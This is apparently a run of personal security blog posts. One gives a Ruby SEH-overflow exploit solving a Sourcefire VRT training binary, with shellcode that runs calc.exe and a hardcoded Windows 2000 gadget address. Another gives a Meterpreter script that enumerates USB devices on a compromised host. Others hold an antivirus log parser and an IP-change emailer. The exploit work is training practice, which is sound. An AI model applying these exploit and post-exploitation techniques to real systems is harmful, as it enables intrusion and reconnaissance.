After a very hectic week I was able to sit down and work on awbo3.exe from the SourceFire VRT Labs. Since the rules state no static return stack addresses or noop sleds it took me a little bit longer to get this one working correctly. I had to get an assist on the backwards jump from mc but once I figured that trick out it was easy. I don't have a copy of Windows XP Sp2 installed, but I will post the solution for that XP as soon as I can get SP2 installed. I have the noop slide version commented out below it was a bit easier to make than the specific spacing version, and it probably more reliable also. If anyone is interested in the details of how this SEH overflow worked let me know and I will write up a detailed post and how everything worked.
#!/usr/bin/env ruby#Jacob Hammack#jacob.hammack@hammackj.com#exploit for awbo3.exe from Sourcefire VRT labs, Windows 2000 SP4 Rollup 1poppopret=[0x77fb3326].pack('V')#ntdll.dll pop esi pop ebx ret, w2ksp4r1#121, metasploit exec calc.exeshellcode="\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01"+"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"+"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2"+"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66"+"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89"+"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b"+"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a"+"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7"+"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"nseh="\xEB\x06\x90\x90"seh=poppopretstage1=[0xe8,-1024].pack('CV')#thx mc~#Vuln tiggers at 1084 so, we need a buffer padding before the shellcode,#in this case is 120 bytes then the shellcode and the rest of buffer in#a's so 843 for the rest of 1084payload="A"*120+shellcode+"A"*843+nseh+seh+stage1#payload ="\x90" * (1084 - shellcode.length) + shellcode + nseh + seh + stage1printpayload
I was feeling bored on Saturday after the wif went to bed so I took a crack at the SourceFire VRT labs Advanced Windows Buffer Overflows. I started with the first one; below is the solution in ruby. The shellcode is provided on the Sourcefire website and all it does it exec calc.exe. This series of executables seems to be all local exploits with int3 staged for ease of debugging. Most of my time was spent in the debugger getting the space just right. I will post the rest of the solutions soon. Any questions?
Microsoft Windows 2000 [Version 5.00.2195](C) Copyright 1985-2000 Microsoft Corp.C:\Documents and Settings\Administrator\Desktop>ruby exploit.rb | awbo2.exe
Then in your post mortem debugger will catch the int3 at the beginning of the program and click run and you might have this screen, the addresses are only valid on Windows 2000 SP4 Roll-up 1, I provided the instructions to find if you want to try and get it to work on anything else. I have not tried on anything except my VM.
So a while back I downloaded and setup the Avira Professional Beta for linux, it is a really good product for finding malware. This product has two downsides 1) it does not work on powerpc and 2) the logs are in a lame text format. So I needed was a way to parse all the endless logs from the binaries I have collected to see if anything was interesting enough to go ahead and RE the malicious code. So here is a simple script that will parse the raw Avira logs and write the results to screen for easy viewing. The version I use in production is built into a rails app and to complex too post here. Sorry.
#!/usr/bin/env ruby#Jacob Hammack#http://www.hammackj.com#Ruby parser for the output of the Avira Professional for linux results#This script assumes filenames are the sha1 hash of the file#to change thisf=File.new(ARGV[0])f.each{|line|lines=line.split(':')date=lines[0]time=lines[1]time1=lines[2]av=lines[3]type=lines[4]result=lines[5]results=Array.newprintf"Date: %s:%s:%s\n",date,time,time1printf"AntiVirus: %s\n",aviftype=~/WARNING .*\/([0-9a-fA-F]{40})(.*)/type=$1result=$2result[0]=' 'result.strip!printf"Filename: %s\n",typeprintf"Result: %s\n",resultelsiftype=~/ALERT .*\/([0-9a-fA-F]{40})/type=$1printf"filename: %s\n",typeresult.scan(/(.*);(.*);(.*)/){|s,c,d|printf"Shortname: %s\n",sprintf"Category: %s\n",cprintf"Description: %s\n",d}endputs"\n"}
Example Usage
[hammackj@fajitas:~/Desktop]$ ./avguparser.rb filescan-20090615.log
Date: 2009-06-15 13:41:25 hoss avscan[21821]AntiVirus: AVGUDate: 2009-06-15 13:41:40 hoss avscan[21821]AntiVirus: AVGUfilename: 00A66A90C0B2ECC0DEB975BE1F47526FD598D4A0Shortname: TR/Agent.225280.ICategory: trojanDescription: Is the Trojan horse TR/Agent.225280.IDate: 2009-06-15 13:41:41 hoss avscan[21821]AntiVirus: AVGUfilename: 00B224187CE4C7E378E954DB76D1AF86DDF1403BShortname: ADSPY/Mywebsearch.AN.2Category: adwareDescription: Contains detection pattern of the Ad- or Spyware ADSPY/Mywebsearch.AN.2hammackj@fajitas:~/Desktop]$
Last week I was looking around the Metasploit ticket system looking for something that I could do to contribute back to the community that has made pen testing so easy for everyone. I found ticket 700. A simple meterpeter script to enumerate USB device information on the remote computer. I based it off the winenum.rb script from Carlos Perez, so its very similar to that script. I am sure this script could be cleaned up some to be shorter but I only spent about an hour on it. Questions? Comments? Post em up...
#Meterpreter script for basic USB device enumeration#Based on the winenum.rb script by Carlos Perez#Provided by Jacob Hammack at jacob.hammack[at]hammackj.com#Version: 0.0.1@client=clientopts=Rex::Parser::Arguments.new("-h"=>[false,"Help menu."],"-a"=>[false,"Enumerate all connected usb devices"],"-s"=>[false,"Enumerate all connected usb storage devices"])allUsb=falseusbStor=falseopts.parse(args){|opt,idx,val|caseoptwhen"-a"allUsb=truewhen"-s"usbStor=truewhen"-h"print_line"USBEnum -- Enumerates all USB devices"print_lineprint_line"Retrieves information about the usb devices that have been connected"print_line"to the system. Results are stored in #{::File.join(Msf::Config.log_directory,'usbenum')}"print_line(opts.usage)raiseRex::Script::Completedend}host,port=@client.tunnel_peer.split(':')info=@client.sys.config.sysinfo# Create Filename info to be appended to downloaded filesfilenameinfo="_"+::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))# Create a directory for the logslogs=::File.join(Msf::Config.log_directory,'usbenum',info['Computer']+filenameinfo)# Create the log directory::FileUtils.mkdir_p(logs)#logfile namedest=logs+"/"+info['Computer']+filenameinfo+".txt"#Enumerates a registry key and returns#Jacked from the winenum.rb script by carlos perezdefreg_enumkeys(key)subkeys=[]beginroot_key,base_key=@client.sys.registry.splitkey(key)open_key=@client.sys.registry.open_key(root_key,base_key,KEY_READ)keys=open_key.enum_keykeys.each{|subkey|subkeys<<subkey}open_key.closerescue::Exception=>ereturnnilendreturnsubkeysend#Gets a reg key value#Jacked from the winenum.rb script by carlos perezdefreg_getvaldata(key,valname)value=nilbeginroot_key,base_key=@client.sys.registry.splitkey(key)open_key=@client.sys.registry.open_key(root_key,base_key,KEY_READ)v=open_key.query_value(valname)value=v.dataopen_key.closerescue::Exception=>ereturnnilendreturnvalueend#writes out data to file#Jacked from the winenum.rb script by carlos perezdeffilewrt(file2wrt,data2wrt)output=::File.open(file2wrt,"a")data2wrt.each_linedo|d|output.puts(d)endoutput.closeendallUsbKey="HKLM\\System\\CurrentControlSet\\Enum\\USB\\"usbStorKey="HKLM\\System\\CurrentControlSet\\Enum\\USBStor\\"ifallUsb==trueorusbStor==trueprint_status("Running Windows USB Enumerion Meterpreter Script")info=@client.sys.config.sysinfoheader="Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"header<<"Running as: #{@client.sys.config.getuid}\n"header<<"Host: #{info['Computer']}\n"header<<"OS: #{info['OS']}\n"header<<"\n\n\n"print_status("Saving report to #{dest}")filewrt(dest,header)endifallUsb==truebeginsubkeys=reg_enumkeys(allUsbKey)subkeys.each{|key|devices=reg_enumkeys(allUsbKey+key)devices.each{|dev|val=reg_getvaldata(allUsbKey+key+"\\"+dev+"\\","HardwareID")hardwareid="HardwareID:"+valunlessval==nilval=reg_getvaldata(allUsbKey+key+"\\"+dev+"\\","Driver")driver="Driver:"+valunlessval==nilval=reg_getvaldata(allUsbKey+key+"\\"+dev+"\\","ClassGUID")classguid="ClassGUID:"+valunlessval==nilval=reg_getvaldata(allUsbKey+key+"\\"+dev+"\\","Mfg")mfg="mfg:"+valunlessval==nilval=reg_getvaldata(allUsbKey+key+"\\"+dev+"\\","DeviceDesc")devicedesc="DeviceDesc:"+valunlessval==nilval=reg_getvaldata(allUsbKey+key+"\\"+dev+"\\","LocationInformation")locationinformation="LocationInformation:"+valunlessval==nilprint_statushardwareidunlesshardwareid==nilprint_statusdriverunlessdriver==nilprint_statusclassguidunlessclassguid==nilprint_statusmfgunlessmfg==nilprint_statusdevicedescunlessdevicedesc==nilprint_statuslocationinformationunlesslocationinformation==nilprint_status""filewrt(dest,hardwareid+"\n")unlesshardwareid==nilfilewrt(dest,driver+"\n")unlessdriver==nilfilewrt(dest,classguid+"\n")unlessclassguid==nilfilewrt(dest,mfg+"\n")unlessmfg==nilfilewrt(dest,devicedesc+"\n")unlessdevicedesc==nilfilewrt(dest,locationinformation+"\n")unlesslocationinformation==nilfilewrt(dest,"\n")}}rescue::Exception=>eprint_status("Unable to enumerate USB registry #{e}")endendifusbStor==truebeginsubkeys=reg_enumkeys(usbStorKey)subkeys.each{|key|devices=reg_enumkeys(usbStorKey+key)devices.each{|dev|val=reg_getvaldata(usbStorKey+key+"\\"+dev+"\\","HardwareID")hardwareid="HardwareID:"+valunlessval==nilval=reg_getvaldata(usbStorKey+key+"\\"+dev+"\\","Driver")driver="Driver:"+valunlessval==nilval=reg_getvaldata(usbStorKey+key+"\\"+dev+"\\","ClassGUID")classguid="ClassGUID:"+valunlessval==nilval=reg_getvaldata(usbStorKey+key+"\\"+dev+"\\","Mfg")mfg="mfg:"+valunlessval==nilval=reg_getvaldata(usbStorKey+key+"\\"+dev+"\\","DeviceDesc")devicedesc="DeviceDesc:"+valunlessval==nilval=reg_getvaldata(usbStorKey+key+"\\"+dev+"\\","FriendlyName")friendlyname="FriendlyName:"+valunlessval==nilprint_statushardwareidunlesshardwareid==nilprint_statusdriverunlessdriver==nilprint_statusclassguidunlessclassguid==nilprint_statusmfgunlessmfg==nilprint_statusdevicedescunlessdevicedesc==nilprint_statusfriendlynameunlessfriendlyname==nilprint_status""filewrt(dest,hardwareid+"\n")unlesshardwareid==nilfilewrt(dest,driver+"\n")unlessdriver==nilfilewrt(dest,classguid+"\n")unlessclassguid==nilfilewrt(dest,mfg+"\n")unlessmfg==nilfilewrt(dest,devicedesc+"\n")unlessdevicedesc==nilfilewrt(dest,friendlyname+"\n")unlessfriendlyname==nilfilewrt(dest,"\n")}}rescue::Exception=>eprint_status("Unable to enumerate USB registry #{e}")endend
Often I find my self in need of accessing my home network for various reasons but the IP address changes more often than not. So I wrote this little script, that will connect to whatismyip.com and email me if the IP has changed. I also setup a crontab entry that will run the script every hour to look for ip address changes. The code and the crontab are posted below if anyone feels they could use the script. Please let me know if there are any errors or if you need help.
#!/usr/bin/env ruby#Jacob Hammack#http://www.hammackj.com#checkip.rb is a tool to check the internet facing ip and emailing a specific user if the ip changes from the previously noted iprequire'rubygems'require'open-uri'require'hpricot'#sudo gem install hpricotrequire'net/smtp'$FROM_EMAIL="FROMEMAILADDRESSHERE"$TO_EMAIL="TOEMAILADDRESSHERE"# read_ip () reads the locally stored .checkip file for the last known ip#defread_ip()ip=""beginFile.open(".checkip","r"){|f|ip=f.gets()}rescue=>err#file doesn't exist, can ignore itendreturnipend# main() checks the whatismyip.com website for changes in ip address stored locally#defmain()puts"checkip.rb\nJacob Hammack\nhttp://www.hammackj.com\n"new_ip=Hpricot(open("http://www.whatismyip.com/automation/n09230945.asp"))new_ip=new_ip.html.chompip=read_ip()ip.chomp!unlessip==nilifnew_ip!=ipputs"[!] Different IP Address Detected emailing admin!"email_admin(new_ip)File.open(".checkip","w"){|f|f.putsnew_ip}elseputs"[*] No IP change"endend# email_admin(ip) sends a email to the $TO_EMAIL variable using a local sendmail mta#defemail_admin(ip)msg=sprintf"From: checkip.rb <%s>\nTo: %s <%s>\nSubject: Your IP has been updated!\nDate: %s\nMessage-Id: <%s@hammackj.net>\n\nYour IP address has changed to %s\n",$FROM_EMAIL,$FROM_EMAIL,$TO_EMAIL,Time.now,ip,ipNet::SMTP.start('localhost',25)do|smtp|smtp.send_messagemsg,$FROM_EMAIL,$TO_EMAILendendmain()
[hammackj@frijoles:/opt/scripts]# sudo crontab -l
# m h dom mon dow command0 * * * * /usr/bin/ruby /opt/scripts/checkip.rb